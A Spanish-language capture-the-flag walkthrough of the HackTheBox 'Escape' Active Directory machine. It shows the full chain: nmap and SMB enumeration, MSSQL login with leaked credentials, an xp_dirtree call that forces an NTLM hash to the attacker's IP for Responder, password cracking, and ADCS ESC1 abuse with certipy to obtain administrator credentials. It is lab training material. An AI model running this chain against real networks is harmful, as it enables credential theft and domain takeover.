# HackTheBox Escape

```rust
nmap -sS -Pn -n -vvv --open --min-rate 5000 10.10.11.202 -oG port

PORT     STATE SERVICE          REASON
53/tcp   open  domain           syn-ack ttl 127
88/tcp   open  kerberos-sec     syn-ack ttl 127
135/tcp  open  msrpc            syn-ack ttl 127
139/tcp  open  netbios-ssn      syn-ack ttl 127
389/tcp  open  ldap             syn-ack ttl 127
445/tcp  open  microsoft-ds     syn-ack ttl 127
464/tcp  open  kpasswd5         syn-ack ttl 127
593/tcp  open  http-rpc-epmap   syn-ack ttl 127
636/tcp  open  ldapssl          syn-ack ttl 127
1433/tcp open  ms-sql-s         syn-ack ttl 127
3268/tcp open  globalcatLDAP    syn-ack ttl 127
3269/tcp open  globalcatLDAPssl syn-ack ttl 127
5985/tcp open  wsman            syn-ack ttl 127
```

> Puertos abiertos.

***

```rust
❯ nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985 10.10.11.202 -oN target-txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-08 01:55 EDT
Nmap scan report for 10.10.11.202
Host is up (0.039s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-08 06:42:00Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-08T06:43:29+00:00; +46m42s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
|_ssl-date: 2025-05-08T06:43:28+00:00; +46m41s from scanner time.
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.202:1433: 
|     Target_Name: sequel
|     NetBIOS_Domain_Name: sequel
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: dc.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.11.202:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2025-05-08T06:43:29+00:00; +46m42s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-05-08T06:40:03
|_Not valid after:  2055-05-08T06:40:03
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-08T06:43:29+00:00; +46m42s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-08T06:43:28+00:00; +46m41s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-08T06:42:49
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 46m40s, deviation: 2s, median: 46m40s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.00 seconds
```

> Versiones y servicios que corren para cada uno de sus puertos.

***

## Ldapsearch

```rust
❯ ldapsearch -x -H ldap://10.10.11.202 -s Base | grep 'ServiceName'
ldapServiceName: sequel.htb:dc$@SEQUEL.HTB
dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN

```

> Verificamos el dominio y lo agregamos al etc/hosts.

***

## Smbclient

```rust
❯ smbclient -L //10.10.11.202/ -N

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	Public          Disk      
	SYSVOL          Disk      Logon server share 
```

> Observamos los recursos compartidos vamos a explorarlos.

```rust
❯ smbclient //10.10.11.202/Public -N
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Nov 19 06:51:25 2022
  ..                                  D        0  Sat Nov 19 06:51:25 2022
  SQL Server Procedures.pdf           A    49551  Fri Nov 18 08:39:43 2022

		5184255 blocks of size 4096. 1461245 blocks available
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (208.6 KiloBytes/sec) (average 208.6 KiloBytes/sec)
smb: \> exit
```

> Nos conectamos al recurso compartido Public y nos descargamos el archivo PDF que hemos encontrado.

***

```rust
 xdg-open "SQL Server Procedures.pdf" & disown 1>/dev/null
```

> Observamos el contenido del PDF.

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FTA4CNuf7hnVuTUgwQgxH%2F1.png?alt=media&#x26;token=a2e37153-dc02-4e66-b35a-e2bbfff66be9" alt=""><figcaption></figcaption></figure>

> Observamos credenciales, vamos a usarlas conforme el nombre del PDF.

***

## Impacket-mssqlclient

```rust
❯ impacket-mssqlclient PublicUser:GuestUserCantWrite1@sequel.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (PublicUser  guest@master)> 

```

> Ya estámos conectados exitosamente al servidor Microsoft SQL Server (`sequel.htb`) usando `impacket-mssqlclient` con el usuario `PublicUser`. El prompt `SQL (PublicUser guest@master)>` indica que estás autenticado y en el contexto de la base de datos `master`

```rust
SQL (PublicUser  guest@master)> EXEC MASTER.sys.xp_dirtree '\\10.10.14.47\whoami_test';
subdirectory   depth   
------------   -----   
SQL (PublicUser  guest@master)> 

```

> Lo que hacemos fue forzar al SQL Server a realizar una conexión SMB hacia nuestra máquina, el servidor SQL intenta autenticarse automáticamente para acceder al recurso compartido.&#x20;
>
> Durante este proceso, envía un intento de autenticación utilizando el protocolo NTLM.&#x20;
>
> Responder, al interceptar esta conexión, captura el intento de autenticación, mostrando el usuario del sistema operativo bajo el cual se está ejecutando el servicio SQL (por ejemplo, `sqlsvc`, `administrator`, o `SYSTEM`). Además, si se negocia la autenticación NTLMv2, Responder nos entrega el hash NTLMv2, lo que nos permite proceder con ataques como el crackeo de contraseñas o el uso del hash en técnicas como Pass-the-Hash o SMB Relay.

***

## Responder&#x20;

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FJKItquL56IWyaewO8efi%2F2.png?alt=media&#x26;token=9cc5cb14-76e5-414c-88b7-b12557fe9ff9" alt=""><figcaption></figcaption></figure>

> ```python
> responder -I tun0
>
> ```

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FxYV4Wubl603xtAFnL0tk%2F3.png?alt=media&#x26;token=0355adfd-cef6-46ee-81ec-74a8923aaa35" alt=""><figcaption></figcaption></figure>

> Y procedemos a crackearlo y obtenemos una contraseña.

***

## NXC

```rust
❯ nxc winrm  10.10.11.202 -u 'sql_svc' -p 'REGGIE1234ronnie' 2>/dev/null

WINRM       10.10.11.202    5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb)
WINRM       10.10.11.202    5985   DC               [+] sequel.htb\sql_svc:REGGIE1234ronnie (Pwn3d!)
```

> Comprobamos que nos podemos conectar por winrm, el usuario seguramnete pertenece al Remote Management Users.

***

## Winrm

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FxhW4HLjDyyT7qOuXCmOy%2F4.png?alt=media&#x26;token=60daa9f4-4b25-4404-964f-300167e41189" alt=""><figcaption></figcaption></figure>

> Observamos un usuarios mas y buenos vamos a observar los logs del usuario actual que tenemos donde encontramos un login failed del usuario Ryan.
>
> ```rust
> 2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
> 2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8.
> 2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'.
> ```

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FhPDIbW43S4bsSIzUcJdA%2F5.png?alt=media&#x26;token=d4624b91-68f4-47f4-93f0-4633a804539b" alt=""><figcaption></figcaption></figure>

> Nos hemos movido lateralmente del usuario sql\_svc al usuario Ryan, y bueno tenemos la primera bandera.

***

## Privilege Escalation

### Certipy-ad

```rust
❯ certipy-ad find -u ryan.cooper@authority.htb -p 'NuclearMosquito3' -dc-ip 10.10.11.202 -vulnerable

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC-CA' via RRP
[*] Got CA configuration for 'sequel-DC-CA'
[*] Saved BloodHound data to '20250508210818_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250508210818_Certipy.txt'
[*] Saved JSON output to '20250508210818_Certipy.json'

```

***

```python
Certificate Authorities
  0
    CA Name                             : sequel-DC-CA
    DNS Name                            : dc.sequel.htb
    Certificate Subject                 : CN=sequel-DC-CA, DC=sequel, DC=htb
    Certificate Serial Number           : 1EF2FA9A7E6EADAD4F5382F4CE283101
    Certificate Validity Start          : 2022-11-18 20:58:46+00:00
    Certificate Validity End            : 2121-11-18 21:08:46+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : SEQUEL.HTB\Administrators
      Access Rights
        ManageCertificates              : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        ManageCa                        : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Enroll                          : SEQUEL.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : UserAuthentication
    Display Name                        : UserAuthentication
    Certificate Authorities             : sequel-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 10 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Domain Users
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Administrator
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
        Write Property Principals       : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

```

> Perfecto, el análisis confirma que la plantilla **UserAuthentication** es **vulnerable a ESC1**, una de las formas más comunes y explotables de abuso en entornos con ADCS.
>
> La vulnerabilidad `ESC1` en `ADCS` permite que cualquier usuario del dominio solicite un certificado en su propio nombre y lo use para autenticarse como otro usuario con más privilegios. Esto sucede cuando una plantilla de certificados está configurada de forma insegura, permitiendo que el solicitante defina manualmente el `Subject Alternative Name (SAN)` y que la clave privada sea exportable.

***

```rust
❯ sudo ntpdate 10.10.11.202 | certipy-ad req -u ryan.cooper@sequel.htb -p "NuclearMosquito3" -ca sequel-DC-CA -template UserAuthentication -upn administrator@sequel.htb -dc-ip 10.10.11.202

[sudo] password for kali: Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 16
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

```

> ¡Perfecto! 🎯 hemos explotado exitosamente la plantilla vulnerable **UserAuthentication** (ESC1) y obtenido un **certificado válido como `administrator@sequel.htb`&#x20;**&#x20; El archivo resultante, `administrator.pfx`, contiene la clave privada y el certificado necesario para la autenticación.

***

```rust
❯ certipy-ad auth -pfx administrator.pfx -username Administrator -domain sequel.htb

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
❯ export KRB5CCNAME=administrator.ccache
```

> Hemos explotado correctamente la plantilla vulnerable `UserAuthentication` (ESC1) para solicitar un certificado como `administrator@sequel.htb`, lo que  permitió obtener acceso al TGT Kerberos del administrador y su hash NTLM. Gracias a esto, ahora podemos autenticarnos como administrador sin necesidad de conocer su contraseña, utilizando herramientas como `secretsdump.py` o `wmiexec.py` con Kerberos (`-k -no-pass`) para volcar hashes o ejecutar comandos remotos en el controlador de dominio, logrando así el control total del entorno Active Directory.

***

## Wmiexec

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FdLnPacu4ON2flO9TRmTu%2F6.png?alt=media&#x26;token=99d3daf9-76db-43a3-80cb-fa21d5be9314" alt=""><figcaption></figcaption></figure>

Nos conectamos usando el TGT que tenemos y maquina resuelta.
